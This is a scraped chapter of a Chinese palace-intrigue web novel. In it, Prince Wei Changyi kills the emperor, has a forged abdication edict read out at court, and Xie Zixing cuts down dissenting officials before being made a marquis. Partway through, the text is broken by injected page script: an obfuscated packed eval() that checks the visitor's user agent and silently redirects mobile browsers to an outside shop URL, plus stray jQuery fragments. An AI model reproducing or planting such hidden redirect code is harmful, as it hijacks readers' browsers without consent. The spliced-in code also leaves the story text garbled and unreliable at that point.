他听到这句话神情不变,一把抽出了腹中的匕首。
卫长盛没了支撑,倒地不起,两眼死死望着,气绝而亡。
一代帝王狼狈地躺在地上,被弟弟击毙于此。
卫长易看着身亡的他,有大仇得报的快意,可更多的是目标完成的空虚。
“擦擦脸,该去清理外边了。”
谢自行递了个帕子,撇了一眼地下的卫长盛,不再停留,率先迈步离开。
卫长易拿起手帕,擦掉了脸上的鲜血。
他看了看被鲜血染红的帕子,甩手扔到了地下卫长盛的脸上,盖住了那双睁大的眼睛。
“拜见平王殿下。”一个身着戎装的少年男子,快步上前行礼。
“子游快快请起,王指挥使呢?”
“家父已控制住了皇宫,正在乾元殿等候,父亲特派我来保护大王。”王观道。
“那就劳烦子游,我们现在就去乾元殿。”
一行人很快就来到了乾元殿。
“拜见大王。”
“指挥使莫要多礼。”
王直还没有躬下身子,卫长易便快步扶住了他的胳膊,阻止他行礼。
王直,殿前军副指挥使,庄惠太子留下的人,也是他们此行重要的内应。
“皇帝的死忠皆已伏诛,皇宫已被我的人马全部接手。”
“不过需立马派人去接手镇守皇宫的宿卫军和镇守内城的南军。”
“王直听令,即日起升为卫将军,殿前军交由张虚之来指挥,你即刻前往南军处,接管南军一切事务。”
卫长易接过一旁谢自行递来的诏书和兵符,放到了王直的手中。
“弘度须快些,早朝前,务必把南军握在手中。”
“唯。”王直点了点头,拿起诏书兵符很快离开。
“子游你即刻接管宿卫军,把守好皇宫各个大门,不要让任何消息流出皇宫。”
“唯。”王观接过诏书领命退下。
随着人一一离开,乾元殿内一时就剩下他和谢自行两人。
谢自行来到御案前,抬笔仿照卫长盛的笔迹写了一封传位诏书,写完盖上玉玺。
“看看。”他把诏书递给了卫长易。
谢自行极善于模仿,有时常在卫长盛身边伺候,对他的用笔习惯和笔迹极为熟悉,写出来的字极难分辨。
卫长易接过诏书,看着传位平王四个字,讽刺一笑。
“还是实力不够啊,我杀了他,却还要借他的名继承皇位。”他把诏书又扔了回去,“就这样吧,明早你来宣旨。”
卫长易换了身衣服,来到明堂,端坐在龙椅上,静候着早朝的来临。
其他人争分夺秒,在早朝之前控制住了皇城中的兵权。
清晨,一缕阳光照进明堂,金光洒在白发上,妖艳刺眼。
“平王!”迈入大殿的朝臣,看见龙椅上的卫长易都不由得发出惊呼。
昨夜京中一片混乱,兵戈不断,他们知道皇宫发生变化,但没想到会是平王。
“人既然已经来齐了,那就宣读遗旨吧。”
一旁的谢自行打开圣旨,大声宣读。
奉元武皇帝诏曰:
朕自登基以来,天灾屡见,国用未丰,外有边衅之忧,内有苍生之困。
朕无德,致子嗣凋零,膝下无子,如今朕躬不豫,日甚一日,恐不足再理万机,治万民。
平王卫长易,天资粹茂,器识恢弘,久历艰难,深谙民生疾苦,今国家多难,传位平王。
唯愿吾弟承此大统,敬承宗庙,保我黎民,望内外文武群臣,同心辅弼,共安社稷。
布告中外,咸使闻知。
钦此
大殿中的各位大臣,听完圣旨,面面相觑,一时无人开口,大殿内一片寂静。
“臣礼部尚书严广,谨遵圣意,恭迎平王登基。”
柘侯严广,这个先帝的宠臣,在先帝登基时率先称臣,如今又抢先对新帝倒戈。
其他人看到严广跪下领旨,一些人也随波逐流,陆陆续续跪下开口:“臣等谨遵圣意,恭迎平王登基。”
卫长盛虽然脾气不好,阴晴多变,可他好歹是做了十三年的皇帝,大殿中还是有忠心之臣站着,怒视上座之人。
“陛下昨日还好好的,怎么会突然驾崩?我不信,请张常侍来,不然恕我不能奉诏。”一个武官开口质问。
“陛下驾崩,张恩悲痛欲绝,已于昨日自请殉葬了,刘将军可还有何异议?”卫长易不咸不淡地开口,俯视着下面的人。
“自请殉葬?我看是被你们这群逆贼给逼死了吧!”刘将军抬手直指卫长易。
“昨夜皇城中兵戈不断,定是你们这群逆贼谋害了陛下。”
“放肆!刘将军慎言。”谢自行开口喝斥。
“谢自行你个两面三刀的阉奴,枉陛下如此信赖,你竟然背叛陛下,#@%&/……”刘将军非但没停,反而对着他一顿臭骂。
刘将军是个武人,骂人之语极为粗鄙,谢自行听着他越骂越脏,脸沉了下去。
“来人!拿下。”
一声令下,张虚之带着禁军入殿,把殿内的大臣团团包围,两个人上前摁住了刘将军。
谢自行迈下台阶,来到他面前,看着还在怒骂的他,猛然拔出禁军腰间悬挂的长剑,一剑刺入他的心口。
“污言秽语,粗鄙无礼,抗旨不遵,该杀!”
“你……”刘将军不敢置信,伸手直指着他。
谢自行看着他咽下最后一口气,拔出长剑,“滴答滴答”,血从剑上一滴一滴落下。
他抬起剑,桀骜的看向还在站着的众人,“还有谁要抗旨?”
“你个阉奴,竟敢擅杀朝廷大臣……”话未说完,谢自行的剑便刺到了心口,“多嘴。”
“你……”又一剑。
……
连续杀了六人,殿中的大臣全都跪下了。
“臣谢自行恭请平王登基,吾皇万岁。”他把剑回鞘,也俯身跪下,朗声开口。
“臣等恭请平王登基,吾皇万岁。”大殿众人齐声请命。
卫长易坐在龙椅上,俯视众人,“众卿平身。”
“谢陛下。”
一言一谢间,帝国进入了新的篇章。
“谢自行侍奉两代帝王,恪尽职守,今又辅佐朕登基,即日起更名为谢玉棠,任殿前军指挥使,封复阳侯,食邑五千户。”
“这!”大殿中听到这道命令的朝臣,大多都不可置信地抬头看向上座的皇帝。
大启建国三百年,从未有宦官领军,更不曾有宦官封侯。
可今日,一个人全都占了。
有人想要开口劝说,可看见地下躺着的尸体,又都缄口不言。
谢自行,不对,现在该叫谢玉棠了。
内心也有些惊讶,可面上平静无波,“臣谢玉棠,谢陛下隆恩。”
接着卫长易又连续颁布了好几道命令,给自己的人加官进爵,给率先投靠他的人也都一一加官。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758337|206507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“即日起改元中平,望诸君今后能奉公爱民,再创盛世。”
“臣等谨遵圣训。”
早朝结束,卫长易搬到了乾元殿。
早朝虽暂时稳住了,但他并没有完全放心。
接下来的几天,他将京城掌军之人全部换成自己的心腹,把兵权牢牢握在手中。
又派人盯紧朝中的大臣,察觉出心有异动的大臣,立刻下牢,严加看管,证据确凿者一律处决。
他又派出使臣,给边关将领赐以厚赏,稳定人心,地方大员也都暂时未动,以安抚为主。
如此忙碌了大半个月,卫长易的皇位才堪堪坐稳。
“这是礼部给先帝拟的谥号,你看看是否合适?”
谢玉棠虽然被封为了殿前指挥使,但仍然还兼任着中常侍和大长秋的职位,掌管着内宫一切事务。
卫长易还专门在宫内给他赐了一座宫殿,任他居住。
他打开奏折,看到上面的谥号,孝怀。
孝,除了太祖皇帝,这个字是大启每一任皇帝的标配,虽然很多皇帝也不怎么孝顺。
怀,才是对这个皇帝谥号的重点。
“呵,他也配用怀。”卫长易紧皱眉头,不满的把奏折扔到一旁。
其实怀这个谥号算不得好,礼部官员为了不得罪皇帝,专门挑了一个很一般甚至略带些差的谥号。
可卫长易依旧不满,他早已恨死卫长盛。
卫长盛自命不凡,一心想着留名青史,他自然不会成全他,定要让他遗臭万年。
“卫长盛屠戮宗室,治国无方,滥用民力,擅起边衅,这样的人怎么配用怀。”
“你传令礼部,他的谥号就定为孝厉。”
杀戮无辜曰厉,暴虐无亲曰厉,这样的谥号才配他。
“你可想好了?这个谥号恐怕会引起一些人不满,才稳定的局面估计又要生波折了。”
半个月可不会把心向卫长盛的大臣全部除掉,大臣中可还藏着不少。
“那正好,让他们跳出来,一并解决了。”
谢玉棠没有多劝,毕竟他也想让卫长盛遗臭万年。
“你皇陵的选址已经勘察好了,可以派人修建了,也好让玉兰早日入土为安。”谢玉棠的语气低沉了下去。
当初为了装疯卖傻,谢玉兰的遗体一直没有下葬。
“好,交给你来办吧。”
卫长易的情绪也低落下去,他如今坐上皇位又如何,玉兰终究回不来了。
他只能追封她为皇后,给她一个盛大的葬礼。
“好,我来办。”谢玉棠应下,匆匆离开了乾元殿。
卫长易在殿内枯坐了一会儿,起身去了太虚宫。
“拜见陛下。”
“不用多礼。”卫长易拉着他的手一起坐下。
“阿确是玉兰认得弟弟,也就是我的弟弟,有什么缺的都告诉我,别委屈了自己。”
“谢陛下关心。”张虚之顺着坐在他的旁边,“不知陛下来此,可是有何事吩咐?”
“玉兰临终前最放不下的便是当年走失的娘亲和妹妹。”
“这些年我也一直在找,可没有什么太大的线索。”
“你与玉兰是同乡,又曾在谢家住过,对娘和妹妹较为熟悉,我想请你帮我找一找,不知阿确可否愿意?”
张虚之看着他恳求的双眼,展颜一笑。
玉兰姐姐找了一个很好的夫君。
“这也是我的心愿,陛下放心,交给我吧。”